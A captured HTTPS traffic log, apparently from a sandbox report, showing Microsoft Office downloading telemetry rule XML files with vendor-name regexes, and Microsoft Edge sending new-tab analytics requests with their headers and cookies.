2024-11-17 02:42:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: fb7cbe9f-c01e-00a2-7ec5-362327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024239Z-164f84587bfn7ppchC1DFW0meg00000002yg00000000pb4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:39 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024239Z-164f84587bfbvgrghC1DFWbs7w00000003ng00000000bz3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:39 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-164f84587bfdfkt7hC1DFW4fas00000001sg000000004yam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:39 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-16547b76f7fwggrphC1DFW2a8s00000002f000000000ntwy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-16547b76f7fmcv27hC1DFWgpcg00000002hg000000003g4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 7d8b983e-001e-0066-2ed2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-1866b5c5fbb2ngs6hC1DFW402w00000001y00000000088pc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-16547b76f7fffb7lhC1DFWdsxg00000003wg000000007s9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49874	108.156.211.19	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	925	OUT	GET /b?rn=1731811358831&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=024D4A803FDA694A0F455FBA3E2B6876&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:40 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 17 Nov 2024 02:42:40 GMT Location: /b2?rn=1731811358831&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=024D4A803FDA694A0F455FBA3E2B6876&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=131119f4259cbd231943f011731811360; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=131119f4259cbd231943f011731811360; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 346313f93be9e5600efa5834c34fe526.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: Ch4tRJEJ-o_xFwpMvVLwnDrUXBgvBx4A8iKPbNeEQLod6Cyn5gKk2Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-16547b76f7fnlq8chC1DFWxnen000000039g00000000h8gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024240Z-16547b76f7fl5zvnhC1DFWtk9g0000000250000000005qdk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49871	20.125.209.212	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	1175	OUT	GET /c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
2024-11-17 02:42:41 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DD5B561888754485909BF684B6BA20B0&RedC=c.msn.com&MXFR=024D4A803FDA694A0F455FBA3E2B6876 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=024D4A803FDA694A0F455FBA3E2B6876; domain=.msn.com; expires=Fri, 12-Dec-2025 02:42:40 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sun, 17 Nov 2024 02:42:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49870	20.42.73.31	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:40 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811358828&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
